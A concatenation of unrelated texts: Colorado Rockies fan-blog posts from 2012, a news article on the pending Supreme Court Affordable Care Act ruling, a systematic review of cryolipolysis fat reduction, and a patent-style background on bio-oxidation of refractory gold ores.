Honestly, I'm very proud of the fact I haven't missed a single recap since the blog opened three years ago and have been able to offer something resembling a fresh take every time, but to be at my best here and to be at my best elsewhere, I'll need to change things up and take a different approach to the site. What that means exactly is still up in the air, but you'll still read plenty of thoughts from me in one form or another. That much is guaranteed.
I look at the changes two different ways.
1) The games I am able to watch live I will actually be able to watch intently instead of half-watch and mostly listening while preparing my recaps.
2) It will allow me to be more of a fan and actually interact with other fans on Twitter during games.
I'm actually very excited about both of those things, and feel the changes will help keep my perspective fresher and my sanity more completely intact.
The former far more likely than the latter, obviously.
So that's where we are right now.
Players rankings, screen grabs, lineup cards and all the other fun things will remain. Dissecting of Walt Weiss press conferences may become a thing, too, depending on how overwhelmed he becomes by the unfortunate circumstances he's been placed into.
It will likely be another mostly frustrating, often painful season, but we'll still try to make it as fun as possible, since that's kinda the point of the game anyway.
Wednesday, November 21, 2012
Regardless of size or significance, every single trade a team makes in this social media and blog driven world is met with reactions (often overreactions).
Here's mine to the trade Colorado Rockies made on Tuesday, which sent left-hander reliever Matt Reynolds to the division rival Arizona Diamondbacks in exchange for 24-year-old corner IF/OF Ryan Wheeler.
*Shrug*
I always liked Matt Reynolds for his durability, versatility and the fact he attended the same high school as my cousins in St. Charles, IL. I also realize the importance of left-hander relievers, but he's totally replaceable, just as most bullpens arms are. Not that the Rockies have or will acquire upgrades, but there's a better chance of stumbling in production in middle relief (see Josh Roenicke and Adam Ottavino) than any other position.
That said, I'm not so sure we're getting a meaningful piece back here in Ryan Wheeler. It's a little frustrating, too, because it seems like Reynolds would have been more valuable in a package for something a little more significant. This one has the feel of the typical Rockies trade that doesn't maximize the value of the talent involved and ultimately turns into a throwaway, but it will certainly take time to figure that out for sure.
The Diamondbacks likely were willing to trade Wheeler in large part because of his perceived defensive shortcomings. Scouts have had concerns about the big-bodied Wheeler’s mobility at third base for years now, and Wheeler has worked hard to try to become more agile. But defense and athleticism seem to be turning into an enormous factors in most Diamondbacks acquisitions lately, so it’s not a big surprise that they don’t view Wheeler as their archetypal third baseman. The other question with him is whether he’ll be able to hit for enough power in the majors; he’s more of a natural opposite-field hitter, and the Diamondbacks’ coaches were working with him this season on pulling the ball more regularly, driving it with more authority. He’s headed to the best hitter’s ballpark in baseball, so we’ll see if he’ll be able to hit enough to make up for whatever defensive shortcomings may exist. The other thing is, he has a tremendous work ethic and makeup, so there’s little question he’ll put in the time and effort to improve.
It sounds like there's some work to do here on both sides of the field, but based on that information I'm going to guess the Rockies will give Wheeler a long look at first base this spring.
Links
Speaking of trades, Chris Jaffe over at the Hardball Times posted a couple recent historical items on the Rockies, including the Mike Hampton-Juan Pierre deal from 2002.
Wednesday, November 14, 2012
Dante Bichette was my favorite player growing up. There really wasn't a close second, though Vinny Castilla would have been the choice until Todd Helton came along.
With that out of the way, I've obviously been hoping for many years that Dante would be back in the Rockies fold in some capacity before all was said and done. That it's happening now as the hitting coach is really very exciting.
Forgot the fact that this coaching staff could be in place for just one season — that won't be the case because they will inevitably improve with better health, and ownership will be convinced things are headed in the right direction regardless of the truth — I'm just happy to have a guy in place who truly understands the unique situation he's walking into, and can draw on past experiences to aid his teaching.
But as I mentioned on Twitter after the announcement was made...
I have little doubt Dante Bichette will give great hitting advice. Who listens and how it's used is up the players. The end. #rockies
— Mark Townsend (@Townie813) November 13, 2012
Don Baylor had experience at Coors Field, too, and seemed to struggle putting gameplans together for Rockies hitters. What that means, if anything, I honestly don't know, but he's done at least a decent job in Arizona and obviously knows hitting, The sure difference, though, is with Bichette you have a guy who has stood in that batter's box at Coors Field hundreds of times, has made his own adjustments on the road, and has his own feel for the proper mental approach.
That's a positive step up.
Despite some really ugly swings when his best guess was wrong, Bichette also had great instincts.
But Bichette's greatest quality was that he never gave away an at-bats, especially with two strikes. Bichette, for my money, is the best two strike hitter in last 20 years. As great as Helton is in the same situation I'm not sure he ever surpassed Bichette. I don't care how wrong that is, either, because it's money.
But the reason Bichette and Helton excel with two strikes is because they value each and every opportunity they get. They make the adjustments they need to on the fly just to prolong an at-bat and maybe capitalize on a mistake. That really is and was the art and beauty of their game. Now, when you hear and read scouting reports for Dante Jr. and even Beau Bichette, you know it's either in the genes or Senior is really good at getting his message across.
Bottom line, under Bichette, there will be no excuses on offense. He will have them prepared as best he can. He'll send the right messages. You can bet he's going to have them watching a lot of video. And it wouldn't surprise me if their first assignment at spring training is reading The Science of Hitting by Ted Williams.(Dante read that book countless times throughout his career.) It will be up to the players to listen, learn, adjust when necessary and execute.
Now we just need to find a pitching coach/director/instructor/whatever that can boast the same experience and success from the pitching side of things. Sadly, that guy isn't out there, but I'm feeling really good about the lineup.
Oh, and let's also trade for Dante Bichette Jr. just to cover all the bases here. |
Supreme Court: Decision Nears on 'Obamacare'
WASHINGTON -- The Supreme Court is expected to announce its ruling on the Affordable Care Act (ACA) this month and speculation about the impact of that decision is heating up on both sides of the "Obamacare" debate.
And both sides predict disaster for doctors -- massive disruption if the law is struck down -- or if it is upheld.
If the court decides to go with something in between, confusion is likely to be the short-term result.
Under this scenario, the law's most controversial provision -- the mandate that everyone must have health insurance or else pay a penalty -- would be ruled unconstitutional, but everything else in the law -- including the insurance market reforms, health insurance exchanges, and subsidies for those who can't afford insurance -- would remain.
The states that are suing the government want the Supreme Court to strike down the entire law if the individual mandate is found to be unconstitutional.
The Obama administration counters with a "half a loaf" argument: if the mandate is found to be unconstitutional, the law should be able to stand, with the exception of two provisions -- the guaranteed-issue provision, which bans insurers from refusing to offer coverage due to a preexisting medical condition, and the community rating provision, which bars insurers from charging higher premiums based on a person's medical history.
Most agree that the guaranteed issue and community rating provisions would be difficult to enforce absent the requirement that everyone have health insurance.
During oral arguments on the issue -- known as the mandate's "severability" -- the Supreme Court justices enunciated these differing positions.
No, said Paul Clement, the lawyer for the 26 states that are suing the federal government over the law. Sometimes no loaf is indeed better than half a loaf, he said. In the case of the ACA, the mandate is too integral to the overall survival of the whole law.
"If you don't have the individual mandate to force people into the market, premiums will skyrocket," Clement said during oral arguments in March.
Clement and the Obama administration agree that without forcing young and healthy people into the insurance market, many would not buy insurance. That would mean the insurance pool would largely be comprised of less-healthy people, which would cause insurance to be more expensive for everyone.
A brief about the different decision scenarios issued by consulting firm Deloitte said the mandate being struck down but other parts remaining is a "distinct possibility."
Leonardo Cuello, an attorney and director of health reform for the National Health Law Program, which advocates for low-income individuals, gave it 50/50 odds.
The Entire Law Is Struck Down
If the mandate is found to violate the Constitution and the justices also decide it's too enmeshed in the larger law to be separated, they could overturn the entire law.
This outcome would be the most disruptive to doctors, said Ron Pollack, executive director of Families USA, a liberal consumer group that supports the ACA. That's because they've already been working to prepare for the law -- for example, by taking steps to form accountable care organizations encouraged under the law.
Hospitals, meanwhile, may be bearing the brunt in preparing for major changes under the ACA. Hospitals are already cutting costs to absorb the $155 billion the industry agreed to give up to fund the expansion of health insurance under the ACA, the Deloitte brief said.
Aside from affecting doctors directly, it's U.S. citizens as a whole who have benefited from provisions of the law that have already been implemented, according to the Deloitte consultants. Some 27.8 million people have already been impacted, including seniors who have received doughnut hole rebates and young adults under 26 who are now covered by their parents' insurance plan.
Consultants at Deloitte predicted the entire law would likely not be overturned.
The Entire Law Remains As Is
"If you want chaos, this is a good way to do it," Joe Antos of the American Enterprise Institute, a right-leaning think tank, said of this option. He added that he thinks the court will go this route and either uphold the law, or else rule the mandate unconstitutional -- but it won't repeal the whole thing.
"If everything is allowed to continue, there's a lot of uncertainly about how the law will actually be implemented," Antos said.
Grace Marie Turner, president of the Galen Institute, a free-market think tank, predicted that even if the law remains as is, many provisions will have to be tweaked once they are deemed unworkable.
For instance, many states are not ready to start health insurance exchanges in 2014, so that provision may have to be substantially delayed. She also predicted that states may not have the capacity to treat new patients that would be brought into the system by the ACA's expansion of Medicaid in 2014, so the start date on that could very well be pushed back as well.
Pollack disagrees with Antos and Turner and said if the law remained as is, it would be the least disruptive for doctors and for patients.
Medicaid Expansion is Removed from Law
Another option -- striking down the ACA's Medicaid expansion, is thought to be an unlikely outcome of the Supreme Court challenge.
Starting in 2014, the ACA expands Medicaid to cover nearly all people under age 65 with household incomes at or below 133% of the federal poverty level.
Currently, most states' Medicaid programs only cover pregnant women and children who are very poor, as well as certain low-income, disabled adults. Congress has never required mandatory coverage criteria for childless adults who are not within the covered categories, but it has expanded the Medicaid program a number of times.
The 26 states that are suing the federal government over the law argue that the Medicaid expansion is a violation of the Spending Clause of the Constitution largely because it's coercive -- it conditions receipt of all federal Medicaid funds on the states' expanding Medicaid.
"How can they claim that this is coercive?" asked Antos. "It doesn't seem reasonable to me. "
Cuello also said he'd be surprised if the court ruled the Medicaid expansion unconstitutional.
The Anti-Injunction Act Is Ruled Applicable and the Court Defers its Decision
Finally, the court must decide whether an 1867 federal law called the Anti-Injunction Act, which prohibits a lawsuit from being brought over a particular tax until that tax actually takes effect, applies in the case of the ACA.
Under the ACA, everyone is required to have health insurance starting in 2014, or else pay a penalty in 2015. If the court were to decide the Anti-Injunction Act bars the issue from being heard now because 2015 is still several years away, the Supreme Court could postpone a decision on the controversial healthcare law until after 2015 -- the year in which the penalty would first be collected.
Both sides -- the Obama administration and the 26 states suing the federal government -- agree that the old tax law doesn't apply to the ACA and shouldn't stand in the way of a court ruling on the case.
Based on oral arguments, and the fact that no side is pushing for the tax law to apply, it is unlikely the court would defer a decision based on the Anti-Injunction Act, experts agree.
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Body contouring remains among the most common cosmetic surgical procedures performed in the United States. Data from the American Society for Aesthetic Plastic Surgery indicate that liposuction replaced breast augmentation as the most popular surgical procedure in 2013, with 363,912 procedures performed. Its popularity has grown considerably because of advantages such as aesthetic improvements as well as numerous metabolic benefits.^[@R1],[@R2]^ Despite its popularity, there remain rare but significant risks regarding liposuction, including complications from anesthesia, infections, and even death.^[@R3]^ Clinical studies have reported a 21.7 percent incidence of minor complications as well as a 0.38 percent incidence of major complications.^[@R4],[@R5]^ Similarly, Fischer et al. showed that the incidence of minor wound complications was 6.3 percent, and the incidence of a major morbidity was 6.8 percent within 30 days after a surgical body contouring procedure.^[@R6]^
Although liposuction is an effective therapeutic option for the removal of excess adipose tissue, it remains an invasive procedure and carries the inherent risks associated with surgery. In recent years, new modalities have been developed to address body contouring from a less-invasive perspective. These modalities primarily target the physical properties of fat that differentiate it from the overlying epidermis and dermis, thus resulting in selective destruction of fat. Devices using high-frequency ultrasound, radiofrequency energy, and laser light have the potential to improve efficiency, minimize adverse consequences, and shorten postoperative recovery time. Through thermal destruction, cavitational destruction, or creation of a temporary adipocyte cell membrane pore, the final result is that the number of adipocytes is reduced, which, when translated over millions of fat cells, results in a measurable reduction of fat.^[@R7]^
Cryolipolysis is one of the most recent forms of noninvasive fat reduction to emerge. The development behind cryolipolysis stems from the clinical observation of cold-induced panniculitis.^[@R8]--[@R10]^ In 1970, Epstein and Oren coined the term popsicle panniculitis after reporting the presence of a red indurated nodule followed by transient fat necrosis in the cheek of an infant who had been sucking on a popsicle.^[@R9]^ Initially described in infants, cold-induced panniculitis has also been observed in adult patients. These observations led to the concept that lipid-rich tissues are more susceptible to cold injury than the surrounding water-rich tissue. With these historical observations in mind, Manstein et al. introduced a novel noninvasive method for fat reduction with freezing in 2007, termed cryolipolysis.^[@R11]^ This technique is performed by applying an applicator to the targeted area set at a specific cooling temperature for a preset period of time. This targets adipocytes while sparing the skin, nerves, vessels, and muscles.
Initial preclinical and clinical studies have demonstrated the efficacy of cryolipolysis for subcutaneous fat layer reduction. However, the exact mechanism of action for cryolipolysis is not yet completely understood. In addition, the techniques of cryolipolysis treatment are not uniformly applied. Studies have suggested that the addition of posttreatment manual massage may enhance the effectiveness of a single cryolipolysis treatment, and that multiple treatments may lead to further improvement.^[@R12],[@R13]^ Finally, we are currently still unaware of the long-term side effects and outcomes of this treatment. The aim of the present review was to give an overview of cryolipolysis with emphasis on the efficacy (volume reduction), methods, safety, and complications.
PATIENTS AND METHODS
====================
Search Strategy, Article Selection, and Data Extraction
-------------------------------------------------------
A systematic review of the MEDLINE and Cochrane databases was performed with the search algorithm cryolipolysis OR cool sculpting OR fat freezing OR lipocryolysis. Two investigators independently reviewed article titles and abstracts to identify studies that assessed outcomes of cryolipolysis. Selected articles that met these inclusion criteria then underwent full article review by the two investigators. Additional articles were then identified by manual review of the references of the articles that were initially identified via the primary search. Review papers and animal studies were eliminated. A third investigator reconciled disagreements. The Cohen Kappa coefficient was calculated to demonstrate the level of agreement between the two initial investigators. The same two investigators performed data extraction independently, and any discrepancies were again reconciled by the third. Table [1](#T1){ref-type="table"} lists the information extracted from each article.
######
Data Extracted from Reviewed Articles
RESULTS
=======
Search Strategy and Article Selection
-------------------------------------
The primary literature search returned 319 articles (Fig. [1](#F1){ref-type="fig"}). The references of articles identified in the primary search were reviewed, yielding a total of 37 articles. Review papers and animal studies were eliminated, yielding a final number of 19 articles, including 12 prospective studies, three retrospective studies, one study with both prospective and retrospective groups, and three case reports. The Kappa coefficient was calculated at 0.885, indicating very good agreement between the investigators.
{#F1}
Efficacy
--------
Common treatment areas included the abdomen, brassiere rolls, lumbar rolls, hip rolls/flanks, inner thighs, medial knee, peritrochanteric areas, arms, and ankles (Table [2](#T2){ref-type="table"}). Follow-up length generally ranged from 2 to 6 months, although one study presented case reports on two patients at 2 and 5 years after treatment,^[@R14]^ noting persistent reduction at these time points when comparing pretreatment and posttreatment photographs. Objective outcome measures included fat caliper measurements, ultrasound measurements, and three-dimensional imaging (VECTRA M3; Canfield Scientific, Inc., Fairfield, N.J.). Every study that evaluated clinical outcomes using these outcome measures noted a significant reduction in fat volume in treatment areas (Table [3](#T3){ref-type="table"}). Although outcomes varied greatly based on treatment site and study design, average reduction in caliper measurement ranged from 14.67 percent to 28.5 percent. Average reduction by ultrasound ranged from 10.3 percent to 25.5 percent (Table [3](#T3){ref-type="table"}). Three studies evaluated lipid levels and liver function tests (Table [3](#T3){ref-type="table"}).^[@R15]--[@R17]^ No significant impact was noted on lipid levels or liver function tests after cryolipolysis treatments in any study.
######
Reported Reduction in Caliper and Imaging Measurements after Cryolipolysis, Organized by Location
######
Study Design, Demographics, Methods, Follow-Up, and Final Outcomes from Reviewed Articles
Subjective assessments included both patient satisfaction rates and investigator assessments. In all cases, high satisfaction rates were noted, as demonstrated by posttreatment patient satisfaction surveys.^[@R13],[@R15],[@R16],[@R18]--[@R20]^ Only one of the reviewed studies used a validated survey to assess patient satisfaction.^[@R20]^ A clinically apparent difference was noted by posttreatment investigator assessments.^[@R13],[@R15],[@R16],[@R18],[@R20],[@R21]^ Investigator assessments were based on whether or not there was an appreciable fat reduction. Blinded investigators were able to correctly differentiate between pretreatment and posttreatment images in 89 percent of cases in one study^[@R22]^ and 79 percent of cases in another.^[@R19]^ None of the studies reviewed included investigator assessments that specifically evaluated other factors, such as contour or texture.
The effect of posttreatment massage was evaluated in two studies. Sasaki et al. evaluated 5 minutes of posttreatment massage, noting an average fat reduction of 21.5 percent in treated areas by caliper measurement at 6 months.^[@R20]^ Another study by Boey and Wasilenchuk compared patients receiving 2 minutes of posttreatment manual massage to a control group receiving only the standard cryolipolysis treatment.^[@R12]^ At 2 months after treatment, average fat layer reduction was 68 percent greater on the massaged side (12.6 percent on the nonmassaged side versus 21.0 percent on the massaged side, *p* = 0.0007). However, at 4 months, average fat layer reduction was only 44 percent greater on the massaged side (10.3 percent on the nonmassaged side versus 14.9 percent on the massaged side, *p* = 0.1).^[@R12]^
The effect of multiple treatments has also been evaluated. In one study, patients receiving two treatments in the peritrochanteric area yielded an average fat layer reduction of 28.5 percent, compared with 19.7 percent in patients receiving only one treatment (*p* = 0.046).^[@R23]^ The effect of multiple treatments was evaluated on love handles and abdomens of patients in another study demonstrating different outcomes. Although a second treatment yielded a significant decrease in caliper measurements on the abdomen (*p* = 0.020), a statistically significant difference was not produced with a second treatment on the love handles (*p* = 0.084) (Table [3](#T3){ref-type="table"}).^[@R13]^
Histologic outcomes were evaluated in a handful of studies. No evidence of fibrosis was noted in one study.^[@R12]^ Most studies demonstrate an inflammatory response at different stages after cryolipolysis, with inflammatory cell infiltrates peaking at 30 days,^[@R12]^ which led to adipocyte apoptosis.^[@R15]^ Biopsy specimens of peripheral nerve cells showed no long-term changes in peripheral nerves, with equal and normal numbers of epidermal nerves.^[@R21]^
Complications
-------------
Common complications noted after cryolipolysis included erythema, bruising, swelling, sensitivity, and pain (Table [4](#T4){ref-type="table"}). These side effects are generally resolved within a few weeks after treatment. No persistent ulcerations, scarring, paresthesias, hematomas, blistering, bleeding, hyperpigmentation or hypopigmentation, or infections have been described. One isolated case report described paradoxical adipose hyperplasia after cryolipolysis treatment.^[@R24]^
######
Complications and Complication Rates for Cryolipolysis from Reviewed Articles
DISCUSSION
==========
Recently, a surge of novel technologies involving noninvasive, energy-based techniques have been introduced to the market, signaling a potential paradigm shift in fat reduction and body contouring practices. The major goal of these novel therapies includes volume reduction of tissue, with a possible end point of noninvasive body contouring.^[@R25]^ With more than 450,000 procedures performed thus far, cryolipolysis is becoming one of the most popular alternatives to liposuction for spot reduction of adipose tissue.^[@R26]^ Because of its ease of use and limited adverse effects, this procedure is becoming the leading technology in noninvasive techniques as well. This review sought to explore the efficacy, methods, safety, and complications of cryolipolysis in the current literature.
Although its mechanism is not fully understood, it is believed that vacuum suction with regulated heat extraction impedes blood flow and induces crystallization of the targeted adipose tissue when cryolipolysis is performed.^[@R11],[@R27]^ The temperatures induced in cryolipolysis have no permanent effect on the overlying dermis and epidermis. However, this cold ischemic injury may promote cellular injury in adipose tissue via cellular edema, reduced Na-K-ATPase activity, reduced adenosine triphosphate, elevated lactic acid levels, and mitochondrial free radical release.^[@R20]^ Another mechanism proposes that the initial insult of crystallization and cold ischemic injury induced by cryolipolysis is further compounded by ischemia reperfusion injury, causing generation of reactive oxygen species, elevation of cytosolic calcium levels, and activation of apoptotic pathways.^[@R20]^ Ultimately, crystallization and cold ischemic injury of the targeted adipocytes induce apoptosis of these cells and a pronounced inflammatory response, resulting in their eventual removal from the treatment site within the following several weeks.^[@R7],[@R11],[@R25]^ Histological studies show that within 3 months, macrophages are mostly responsible for clearing the damaged cells and debris.^[@R26],[@R28]^
With the removal of the adipocytes internally, there has been concern that cryolipolysis may cause rising blood lipid levels and elevations in liver enzymes that may put the patient at additional risk, particularly for cardiovascular parameters. However, multiple studies have demonstrated that cholesterol, triglycerides, low-density lipoprotein, high-density lipoprotein, aspartate transaminase/alanine transaminase, total bilirubin, albumin, and glucose remained within normal limits during and after cryolipolysis.^[@R15]--[@R17]^
With the relatively recent emergence of cryolipolysis, many factors still need to be considered and investigated, including what type of patient would benefit most from this procedure. Ferraro et al. suggested that patients who require only small or moderate amounts of adipose tissue and cellulite removal would benefit most from cryolipolysis treatment.^[@R15]^ Contraindications to cryolipolysis include cold-induced conditions such as cryoglobulinemia, cold urticaria, and paroxysmal cold hemoglobinuria.^[@R29]^ Cryolipolysis should not be performed in treatment areas with severe varicose veins, dermatitis, or other cutaneous lesions.^[@R23],[@R27]^
Although all studies reviewed showed a fat reduction in every area examined, it is still unknown what areas are most responsive to cryolipolysis. Various factors may play a role in the degree of fat reduction observed after cryolipolysis. The vascularity, local cytoarchitecture, and metabolic activity of the specific fat depots in question may play a role. Because of the limited size and number of studies evaluating cryolipolysis in clinical populations, it is unclear which treatment sites are most amenable to cryolipolysis. Future comparative outcome studies should be adequately powered to determine which treatment sites are most suitable for fat reduction with this modality.
Because cryolipolysis is still a relatively new procedure, treatment protocols have yet to be optimized to maximize results. Recent studies have focused on maximizing the reduction of adipose tissue by adjusting treatment protocols. Three studies assessed the theoretical enhanced efficacy with multiple treatments in the same anatomic area and demonstrated that a second successive course of cryolipolysis treatment led to further fat reduction.^[@R13],[@R23]^ It is important to note that although a subsequent treatment leads to further fat reduction, the extent of improvement was not as dramatic as the first treatment. Interestingly, one study demonstrated that a second treatment enhanced fat layer reduction in the abdomen area but not the love handles.^[@R13]^ One hypothesis for the diminished effect of the second treatment may be that the fat exposed to the second heat extraction is closer to the muscle layer. The vascular supply to the muscle layer may impede the efficiency of heat extraction so that the fat closer to the muscle layer may not reach the intended optimal temperature of 4°C. Another hypothesis is that adipocytes that survived the first treatment have a higher tolerance to cold.
Boey and Wasilenchuk evaluated whether the addition of a posttreatment manual massage enhanced the efficacy of a single cryolipolysis treatment.^[@R12]^ Immediately after treatment, patients received a 2-minute manual massage. This consisted of 1 minute of vigorous kneading of the treated tissue between the thumb and fingers followed by 1 minute of circular massage of the treated tissue against the patient's body. To examine the effects of massage on subcutaneous tissue over time, histological analysis was completed through 4 months after treatment. Although the difference at 2 months after treatment was statistically significant, the difference at 4 months after treatment was not. One hypothesis for potentially improved efficacy with manual massage is that manual massage caused an additional mechanism of damage to the targeted adipose tissue immediately after treatment, perhaps from tissue-reperfusion injury. Histological analysis revealed no evidence of necrosis or fibrosis resulting from the massage, thus showing posttreatment manual massage to be a safe and effective method to further reduce the fat layer after cryolipolysis. Sasaki et al. described cryolipolysis with 5 minutes of posttreatment integrated preset mechanical massage using the device applicator with excellent outcomes.^[@R20]^
A low profile of adverse effects is one of the main advantages with cryolipolysis, especially when compared with more invasive measures. Only mild, short-term side effects, such as erythema, bruising, changes in sensation, and pain, were reported in the studies reviewed. Erythema was noted in multiple studies immediately after the treatment and subsided within a week.^[@R18]--[@R20]^ This is most likely because of the strength of the vacuum and the temperature at which the tissue is kept for extended durations and poses no threat to the patients. Swelling and bruising of the area were shown to a slightly lesser extent than erythema, but are believed to be because of the same processes. These complications also subsided shortly after.^[@R13],[@R16],[@R18],[@R19]^ Hypersensitivity and hyposensitivity were shown in studies but were never debilitating nor persisted beyond 1 month. Coleman et al. demonstrated that patients exhibiting reduction in sensation recovered normal sensation in 3.6 weeks.^[@R21]^ This study also showed that a nerve biopsy taken at 3 months after treatment showed no long-term changes to nerve fibers, concluding that temperature and duration of cryolipolysis have no permanent effect on nervous tissue.^[@R21]^ In one study, pain during the procedure was generally nonexistent to tolerable 96 percent of the time.^[@R18]^
Rare side effects that have been described include vasovagal reaction^[@R18]^ and paradoxical adipose hyperplasia.^[@R24]^ Jalian et al. estimated an incidence of 0.0051 percent, or approximately one in 20,000, for paradoxical adipose hyperplasia.^[@R24]^ Affected patients exhibit fat loss after therapy and then develop a large, demarcated, tender fat mass at the site 2 to 3 months later. The hypothesized pathogenesis includes recruitment of stem cells and hypertrophy of existing fat cells in the area.^[@R24]^ However, compared with traditional liposuction side effects, cryolipolysis poses a minor threat to patients, with a very low incidence of complications.
Of note, the reviewed studies used a variety of different modalities to determine the degree of fat reduction after cryolipolysis treatments. Various studies have compared caliper, ultrasound, three-dimensional imaging, and manual tape measurements. Although no single study has compared all of these modalities, the available data suggest that these techniques correlate well with one another.^[@R30],[@R31]^ Studies that used more than one of these modalities to assess outcomes after cryolipolysis also demonstrated that these measurements corresponded well.^[@R19],[@R20]^
A drawback of this work is the limited number of high-quality, prospective, randomized clinical studies. Cryolipolysis was first described in 2007, and although its popularity has increased dramatically, the available literature remains limited. Tremendous variability exists in study design, machinery used, and outcome measures. Because of this lack of uniformity, comparing effect size becomes challenging, and the value of a meta-analysis of the available data is limited. The variations in the available studies make it difficult to control for any bias present in the discussed studies. Despite these limitations, clinical data demonstrate consistent fat reduction in treated subjects, which supports the clinical utility of this technique.
CONCLUSIONS
===========
This study presents the first systematic review of the available data on cryolipolysis. Although the body of evidence is limited because of the nascence of this procedure, cryolipolysis is a promising procedure for nonsurgical fat reduction and body contouring. While the outcomes of cryolipolysis are rather modest, this technology is well suited for patients who desire nonsurgical spot reduction at modestly sized adiposities. Cryolipolysis appeals to both men and women and is an effective means by which new patients can be drawn to the aesthetic surgery practice.^[@R32]^ Although the specific mechanism of cryolipolysis has not been completely elucidated, this procedure appears to be effective and safe in the short term, with a limited side effect profile. Posttreatment manual massage has the potential to improve the efficacy of cryolipolysis. Multiple treatments in the same anatomic area may lead to further fat reduction, although the efficacy of cryolipolysis appears to be attenuated with successive treatments. The efficacy of this technique in areas that have been treated previously with liposuction remains to be studied. Future studies should address which treatment sites are most amenable to cryolipolysis to enhance treatment stratification for body contouring patients and should evaluate a potential role for cryolipolysis in skin tightening and the treatment of cellulite.
**Disclosure:** Gordon H. Sasaki, M.D., is a consultant for ZELTIQ Aesthetics, Inc. (Pleasanton, Calif.). The other authors have no financial interest to declare in relation to any of the products or devices mentioned in this article. No funding was used for the preparation of this article.
{#FU1}
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There has been a great deal of interest in recent years in the use of bio-oxidation to recover metals from sulfide ores. In such ores, the sulfides trap, or occlude, the metal particles within sulfide minerals, such as iron pyrite for example. The bio-oxidation techniques use natural microorganisms to catalyze the oxidation of sulfides in the ore into soluble sulfates, in order to adequately expose the metal in the ore for subsequent extraction. Typical metals which may be recovered in this way include gold, silver, copper, zinc, nickel or cobalt.
In recent years, the gold industry has shown a particular interest in the use of bio-oxidation techniques for the recovery of gold, in large part because of the high value of gold. The primary goal of the gold mining industry is cost-effective recovery of gold from ore, and the most commonly used techniques for gold recovery from ore are smelting and cyanidation. However, a great deal of ore is to be found in ore which is naturally resistant to conventional recovery techniques. Such ore is called “refractory,” and usually contains gold particles which are locked, or occluded, within sulfide minerals. To obtain adequate gold recovery from such refractory ore, the ore must first be subjected to a pre-treatment process in which the sulfide minerals are degraded by oxidation. The ore may then be treated by a traditional reagent such as cyanide to dissolve the gold, in order to recover the gold from the treated ore.
Such bio-oxidation techniques are particularly useful for pre-treatment of mine tailings, which are the byproducts of mining operations. Not only does this allow gold extraction from highly refractory ores, but it provides the added benefit of removing a barrier to redevelopment and a potential environmental hazard. Bio-oxidation is particularly well suited to the pre-treatment of tailings, as the low gold concentrations found in such tailings are not a problem for the microorganisms involved. The microorganisms simply ignore the waste products in the ore, and proceed to oxidize the sulfides surrounding the gold, often resulting in ultimate extraction recoveries not achievable by other methods
One method of bio-oxidation used to pre-treat sulfide-refractory gold ores is heap bio-oxidation, which is described in U.S. Pat. No. 5,246,486 to Brierley et al. In this method, coarsely ground (P80>¼″)1 refractory ores are first agglomerated while being inoculated with a microorganism slurry, then heaped onto a leach pad with aeration and drain lines. This is referred to as a “free-drained” system; i.e., one in which there is no water table within the bed, no part of the bed is flooded, and the water leaves the system drained by gravity. Initially the inoculum is grown in a tank, but after the heap oxidation process matures, the solution draining from the heap contains the organisms and is used as the inoculum. The bio-oxidation continues until the predetermined target level of sulfide oxidation has been achieved. The ongoing sulfide oxidation levels are determined by the analysis of sulfate concentration in the bioreactor effluent solution and the bioreactor effluent cumulative mass flow. Once the bio-oxidation is complete, the ore is removed from the pad and lime is added to neutralize the ore. This makes the microorganisms in the ore become dormant, and also conditions the bio-oxidized ore for cyanide leaching to extract the gold. 1“P80” is a commonly used abbreviation in the mining industry, and means that 80% of the ore particles are finer than the specified size—in this case, ¼ inch.
Heap bio-oxidation can permit ultimate gold recoveries in the range of 60-70% from refractory ore. In addition, it uses inexpensive pond liners and allows air addition via high-volume blowers, which are relatively efficient and low-cost. However, heap bio-oxidation suffers from certain inefficiencies, primarily due to the large particle sizes, typically with a P80 of approximately ½ inch and no finer than a P80 of ¼ inch, with −150 [Tyler] mesh2 (106 microns) fines totaling less than 10% by weight of the total ore (expressed in the industry as P80=¼″, <10% −150 mesh). This large particle size causes “channeling,” in which water and solution seek large gaps between particles, and thus tend to flow by the ore without making substantial contact. To counter this channeling effect, a relatively high solution application rate is utilized in order to maintain contact with the ore. However, such high solution application rates result in a relatively thick layer of solution around each ore particle which impedes air flow through the heap, so that the oxidation rate is significantly slowed. 2A minus sign in front of a size designator, such as mesh or microns, followed by a percentage, is a standard abbreviation used in the mining industry to indicate that the specified percentage of the ore particles are finer than the specified size. In this case, the abbreviation is used to signify that less than 10% of the particles are smaller than 150 mesh (106 microns).
Further, it has long been known that the more finely ground an ore, the more efficiently it may be oxidized and the higher the ultimate gold recoveries would be in the subsequent gold recovery process. This is because as a given quantity of ore is ground into smaller particles, the overall surface area of that quantity of ore is increased. Since an increased surface area increases the contact with the oxidizing solutions, the oxidation proceeds at a faster rate, and is also more complete. However, a great deal of experience with heap leach gold cyanidation led to the conclusion that particle sizes less than P80=¼ inch tended to migrate through the heap, until ultimately they bind together into a clay-like mass, thereby “plugging” the flow of both solution and air through the heap. Since such plugging would render the heap bio-oxidation extremely inefficient, no use of particle sizes smaller than P 80=¼ inch has traditionally been attempted. Unfortunately, this perceived inability of heap bio-oxidation to utilize smaller particle sizes has greatly limited the efficiency and thoroughness of the oxidation achievable with the process. Notably, the typical 60-70% overall gold recovery could potentially be significantly higher if the oxidation were more thorough. In addition, the time for completing the heap bio-oxidation process is typically in the range of 180-360 days, thereby adding substantially to the heap bio-oxidation capital and operating costs. This heap retention time could also potentially be greatly reduced, if smaller particles could be accommodated by the heap bio-oxidation process.
One attempted solution to the above-mentioned problems with heap bio-oxidation has been agitated tank bio-oxidation. Agitated tank bio-oxidation is an alternative to heap bio-oxidation which allows for the utilization of much smaller particles (<100 microns). In this process, large quantities of oxygen and carbon dioxide are dissolved into a finely ground slurry of ore. Plugging problems which might otherwise be associated with such fine particles are avoided by utilizing a mechanically agitated tank to house the process. While such tanks are an effective way to allow very fine particles to be used in the process, they are highly expensive to purchase and to operate, and thus add greatly to the cost of the oxidation. Air addition into the agitated tank is also expensive and difficult to achieve, as the air must be added as extremely fine bubbles, and under sufficient pressure to overcome the pressure associated with the solution depth of the flooded tank. In addition to being costly, the air addition and the tank agitation render the whole process much more complex than traditional heap bio-oxidation. Ultimately, agitated tank bio-oxidation typically results in an accelerated retention time of 5-8 days, with an overall ultimate gold recovery of 85-90%.
